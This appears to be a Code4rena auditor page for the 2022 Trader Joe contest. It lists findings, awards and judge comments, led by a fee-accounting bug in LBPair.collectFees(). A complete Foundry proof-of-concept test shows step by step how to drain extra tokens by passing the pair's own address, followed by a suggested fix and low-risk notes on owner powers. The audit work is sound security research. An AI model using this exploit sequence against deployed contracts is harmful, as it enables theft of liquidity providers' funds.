Platform: Code4rena
Start Date: 14/10/2022
Pot Size: $100,000 USDC
Total HM: 12
Participants: 75
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 171
League: ETH
Rank: 3/75
Findings: 3
Award: $13,484.72
🌟 Selected for report: 1
🚀 Solo Findings: 0
10427.1428 USDC - $10,427.14
https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBPair.sol#L688
The function collectFees(address _account, uint256[] memory _ids)
in LBPair.sol
is supposed to calculate and transfer the fees owed to _account
. Since the protocol assumes that the pair contract itself cannot accumulate fees, this function is exploitable by passing the address of the pair itself as _account
parameter.
Alice could send LBTokens to the address pair, then call collectFees()
passing the address of the pair itself as _account
and the id of the LBTokens sent to the pair as _ids
.
The fees are calculated using _getPendingFees(_bin, _account, _id, _balance)
:
Debts memory _debts = _accruedDebts[_account][_id]; amountX = _bin.accTokenXPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtX; amountY = _bin.accTokenYPerShare.mulShiftRoundDown(_balance, Constants.SCALE_OFFSET) - _debts.debtY;
If Alice is the first exploiter, both debts.debtX
and _debts.debtY
are 0. _balance
is equal to the amount of LBTokens Alice sends to the pair.
accTokenXPerShare
and accTokenYPerShare
are increasing-only values which could potentially be very high, sice they're increased for every swap and flashloan and never decreased.
The result of this subtraction, amountX
and amountY
, is then removed from the variables accouting for the pair fees:
if (amountX != 0) { _pairInformation.feesX.total -= uint128(amountX); } if (amountY != 0) { _pairInformation.feesY.total -= uint128(amountY); }
At this point Alice can take advantage of the wrongly lowered feesX.total
and feesY.total
by calling either mint()
or swap()
, in which the amount to either mint or swap is calculated as the difference between the current pair token balance and the reserves plus fees:
_mintInfo.amountXIn = tokenX.received(_pair.reserveX, _pair.feesX.total).safe128(); _mintInfo.amountYIn = tokenY.received(_pair.reserveY, _pair.feesY.total).safe128();
meaning Alice gets effectivly accredited amountX
and amountY
.
Important to note: the same bug can be exploited to DOS a new pair by underflowing either feesX.total
or feesY.total
and thus making the token.received()
call in mint()
and swap()
revert for underflow.
In any case it can be used to break the invariants:
tokenX.balanceOf(pair) - pair.reserveX - pair.feesX == 0 tokenY.balanceOf(pair) - pair.reserveY - pair.feesY == 0
Copy-paste in LBPair.fees.t.sol
:
function testCollectFeeManipulation() public { factory.setPreset( 1, DEFAULT_BASE_FACTOR, DEFAULT_FILTER_PERIOD, DEFAULT_DECAY_PERIOD, DEFAULT_REDUCTION_FACTOR, DEFAULT_VARIABLE_FEE_CONTROL, DEFAULT_PROTOCOL_SHARE, DEFAULT_MAX_VOLATILITY_ACCUMULATED, DEFAULT_SAMPLE_LIFETIME ); pair = createLBPairDefaultFeesFromStartIdAndBinStep(token18D, token6D, ID_ONE, 1); uint256 amountYIn = 3e18; /* 1. ALICE mints LBTokens for herself by sending 3e18 tokenY ( == token6D) */ uint256[] memory _ids = new uint256[](1); uint256[] memory _distributionX = new uint256[](1); uint256[] memory _distributionY = new uint256[](1); _ids[0] = ID_ONE; _distributionX[0] = uint256(0); _distributionY[0] = uint256(1e18); token6D.mint(address(pair), amountYIn); (,,uint256[] memory liquidityMinted) = pair.mint(_ids, _distributionX, _distributionY, ALICE); assertEq(liquidityMinted[0], amountYIn); /* 1.1 DEV mints LBTokens for himself by sending 3e18 tokenY ( == token6D) (this is just to no make pair.feesX underflow, which would DOS the contract) */ _ids = new uint256[](1); _distributionX = new uint256[](1); _distributionY = new uint256[](1); _ids[0] = ID_ONE; _distributionX[0] = uint256(0); _distributionY[0] = uint256(1e18); token6D.mint(address(pair), amountYIn); (,,liquidityMinted) = pair.mint(_ids, _distributionX, _distributionY, DEV); assertEq(liquidityMinted[0], amountYIn); /* 2. BOB swaps tokenX for tokenY using ALICE liquidity */ token18D.mint(address(pair), 1e18); vm.prank(BOB); pair.swap(true, BOB); /* 3. ALICE collects fees from BOB swap */ vm.prank(ALICE); pair.collectFees(ALICE, _ids); /* 4. ALICE transfers all of her LBtokens to the pair contract */ vm.startPrank(ALICE); pair.safeTransferFrom(ALICE, address(pair), _ids[0], pair.balanceOf(ALICE, _ids[0])); vm.stopPrank(); /* 5. ALICE collects fees on behalf of the pair, by passing the pair address in the collectFees() call */ (uint256 beforeFeesXTotal, , , ) = pair.getGlobalFees(); vm.prank(ALICE); pair.collectFees(address(pair), _ids); (uint256 afterFeesXTotal, , , ) = pair.getGlobalFees(); assertGt(beforeFeesXTotal, afterFeesXTotal); /* 6. ALICE mints extra LBTokens to herself using the perceived increase of balance derived from artificially lowering pair.feesX NOTE: Alice is able to call mint() without sending any token */ uint256[] memory _amounts = new uint256[](1); _amounts[0] = pair.balanceOf(address(pair), _ids[0]); _ids[0] = ID_ONE; _distributionX[0] = uint256(1e18); _distributionY[0] = uint256(0); pair.mint(_ids, _distributionX, _distributionY, ALICE); /* 7. ALICE burns her original LBTokens + the new minted LBTokens, ending up with more tokens than she should */ pair.burn(_ids, _amounts, ALICE); }
Add input validation in collectFees()
:
if(_account == address(this)) revert("not allowed");
#0 - trust1995
2022-10-23T21:13:47Z
Dup of #423
#1 - GalloDaSballo
2022-10-27T21:47:22Z
#2 - c4-judge
2022-11-11T21:26:04Z
GalloDaSballo marked the issue as satisfactory
#3 - c4-judge
2022-11-16T21:59:45Z
GalloDaSballo marked the issue as not a duplicate
#4 - c4-judge
2022-11-16T21:59:52Z
GalloDaSballo marked the issue as duplicate of #423
🌟 Selected for report: 0xSmartContract
Also found by: Aymen0909, Dravee, Josiah, M4TZ1P, Mukund, Nyx, SooYa, catchup, cccz, chaduke, csanuragjain, djxploit, hansfriese, ladboy233, leosathya, pashov, rvierdiiev, sorrynotsorry, supernova, vv7, wagmi, zzykxx
0.006 USDC - $0.01
Judge has assessed an item in Issue #334 as M risk. The relevant finding follows:
setLBPairImplementation(): can be used to silently frontun a pair creation by swapping the implementation with a malicious one and stealing potentially any deposit. setFeeRecipient(): can be used to steal all of the protocol fees not yet collected. setFlashLoanFee(): can be used to frontrun a flashloan by increasing the fee, if the flashloan returns the fee based on the callback parameters. setFeesParameters(): can set the protocol fee to the max 25% and gets the funds for himself in combination with setFeeRecipient(). forceDecay(): can be used to advantage himself in trades. As a mitigation add a timelock and make sure the owner is a multisig and not an EOA.
#0 - c4-judge
2022-11-14T23:10:50Z
GalloDaSballo marked the issue as duplicate of #139
#1 - Simon-Busch
2022-12-05T06:32:00Z
Marked this issue as Satisfactory as requested by @GalloDaSballo
3057.5656 USDC - $3,057.57
to
addresses in LBRouter.sol
TokenHelper.sol
the safeTransfer
function does not check for potentially self-destroyed tokensto
addresses in LBRouter.sol
All the public/external functions in LBRouter.sol
require an address to
as a parameter to which to send either tokens, LBtokens or ETH.
When tokens or LBtokens are sent the protocol should check that if the to
address is contract then that contract should is able to manage ERC20/LBTokens
, otherwise funds would be lost.
A malicious owner can call setLBPairImplementation()
, setFeeRecipient()
, setFlashLoanFee()
, setFeesParameters()
and forceDecay()
to advantage himself at expenses of the users.
setLBPairImplementation()
: can be used to silently frontun a pair creation by swapping the implementation with a malicious one and stealing potentially any deposit.setFeeRecipient()
: can be used to steal all of the protocol fees not yet collected.setFlashLoanFee()
: can be used to frontrun a flashloan by increasing the fee, if the flashloan returns the fee based on the callback parameters.setFeesParameters()
: can set the protocol fee to the max 25% and gets the funds for himself in combination with setFeeRecipient()
.forceDecay()
: can be used to advantage himself in trades.As a mitigation add a timelock and make sure the owner is a multisig and not an EOA.
If extra tokens are sent the a pair contract either by mistake or intentionally and they are not used immetiately (calling either mint()
, burn()
or swap()
) they become available for anybody to frontrun and claim by simply calling mint()
and burn()
.
swap()
and mint()
both reverts if either 2^112
or 2^128
tokens are sent to the pair. This would result in the funds being stuck and nobody being able to mint or swap. Submitting as low because the cost of attack is extremely high, but it's good to be aware of it.
TokenHelper.sol
the safeTransfer
function does not check for potentially self-destroyed tokens.If a pair gets created and after a while one of the tokens gets self-destroyed (maybe because of a bug) then safeTransfer
would still succeed. It's probably a good idea to check if the contract still exists by checking the bytecode length.
#0 - GalloDaSballo
2022-11-09T20:50:00Z
L
M-03
Disputing
L
L
3L
#1 - c4-judge
2022-11-16T21:08:12Z
GalloDaSballo marked the issue as grade-a
#2 - c4-judge
2022-11-21T14:51:10Z
GalloDaSballo marked the issue as selected for report
#3 - GalloDaSballo
2022-11-21T14:51:19Z
Bumped to winner after Post Judging QA
#4 - GalloDaSballo
2022-11-22T00:18:04Z
Really high impact, short and sweet when adding together all findings, good job!
#5 - GalloDaSballo
2022-11-22T00:18:53Z
L-01 Missing sanity checks on to addresses in LBRouter.sol
L-02 Potential loss of funds on tokens with big supplies
L-03 In TokenHelper.sol the safeTransfer function does not check for potentially self-destroyed tokens.
L-04 Excess amount returned to flashloan is not sent back L-05 It's possible to pay a lower fee than expected for a flashloan L-06 Rebasing tokens are not compatible with the protocol